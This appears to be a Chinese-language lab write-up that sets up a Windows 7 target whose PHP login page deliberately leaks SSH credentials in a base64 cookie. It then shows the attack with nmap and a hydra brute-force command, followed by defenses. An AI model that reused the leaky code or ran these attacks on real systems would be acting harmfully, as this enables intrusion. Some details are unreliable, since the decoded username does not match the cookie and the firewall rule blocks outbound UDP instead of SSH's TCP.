---
# System prepended metadata

title: cookie

---

cookie
===

**架設：** win7
1.安装OpenSSH服务，下載7.7之前的版本，方便配置
> [PowerShell/Win32-OpenSSH](https://"github.com/PowerShell/Win32-OpenSSH/releases")

2.下載最新 OpenSSH-Win64.zip（64位系统），解壓至C:\Program Files\OpenSSH
3.**執行系統管理者**打開cmd，cd進入C:\Program Files\OpenSSH（安裝目錄）
執行命令：
> powershell.exe -ExecutionPolicy Bypass -File install-sshd.ps1
> 
![](https://i.imgur.com/6DjBHGF.png)

4.設置服务自動啟動開啟服務：
 > sc config sshd start= auto
 > net start sshd
 > 
![](https://i.imgur.com/fY97sND.png)

5.xampp install
6.http.conf setting (路徑、port)
### Source
index.html
```php=
<html>
<body>

<form method="post" enctype="multipart/form-data" action="echo.php">

	Username-<input type="text" name="user"/><br>
	Password-<input type="Password" name="passwd"/><br>
	<input type="submit" value="Login"/>
	<br>touch me !!

</form>

</body>
</html>
```
echo.php
```php=
<?php
$name=$_POST["user"];
$passwd=$_POST["passwd"];
if ($name !="123456" or $passwd !="babygirl")
{
	echo $name. " Error ! non-existent";
	$value = base64_encode('username-apollo-password-1qaz@WSX');
	setcookie("SSH", $value);
	exit;
}else
{
	echo $name. " Success!!yummy cookie!!";
}
?>
```
**手法：**
1.Scan
>nmap -sS -sV target
![](https://i.imgur.com/nJv3AWv.png)

2.dircovery
不管輸入什麼，記得吃餅乾
![](https://i.imgur.com/1whnr4g.png)
base64解密 (username-johnny-password-1qaz@WSX)
![](https://i.imgur.com/TAhNjv0.png)


hydra 爆破也行 (看難易度更改，使用hydra)
>hydra -t 3 -L 字典(rockyou.txt) -P 字典(rockyou.txt) -vV -f "target" -s "port" http-post-form "/"跳轉網頁":user=\^USER\^&passwd=\^PASS\^:錯誤訊息"

==-t 線程數、-l 帳號、-L 字典、-p 密碼、-P 字典、-vV 逐行顯示、-f 執行到有停止、
-s 指定port、user(html title)、passwd(html title)==

![](https://i.imgur.com/pNNDzrr.png)
hydra 爆破密碼 get username password  (看難易度更改)
username：123456  password：babygirl

3.get ssh username password to connect



**防禦：**
1.WIN7本身漏洞永恆之藍 [關閉相對應口]("https://kknews.cc/zh-tw/tech/rz9858r.html")
2.cookie含有ssh資訊 改掉user&passw
3.遠端port22 [阻擋方式](https://"ithelp.ithome.com.tw/articles/10081601")

>netsh advfirewall firewall add rule name="禁止 UDP 22 連入" protocol=UDP dir=out localport=22 action=block

避免對方可能還在使用中，以下指令強制停止使用
>taskkill /f /t /im sshd.exe